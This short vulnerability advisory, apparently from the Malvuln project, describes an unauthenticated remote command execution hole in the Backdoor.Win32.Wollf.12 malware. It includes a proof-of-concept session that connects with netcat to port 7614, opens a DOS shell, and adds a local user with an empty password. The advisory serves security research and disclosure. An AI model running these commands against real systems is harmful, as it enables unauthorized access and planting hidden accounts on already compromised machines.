Backdoor.Win32.Wollf.12 / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/911e63e28b1d177120cca16eacf3b602.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.12
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7614 and drops an executable
named "wrm.exe" that runs with SYSTEM integrity. Third-party attackers who
can reach the system can connect, switch to DOS prompt mode and run any OS
commands re-compromising the already infected system.
Type: PE32
MD5: 911e63e28b1d177120cca16eacf3b602
Vuln ID: MVID-2021-0239
Dropped files: wrm.exe
Disclosure: 06/06/2021

Exploit/PoC:
nc64.exe x.x.x.x 7614
"Wollf Remote Manager" v1.2
Code by wollf, http://www.xfocus.org

[DESKTOP-2C4IWHP@C:\WINDOWS\system32]#DOS
DOS
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.


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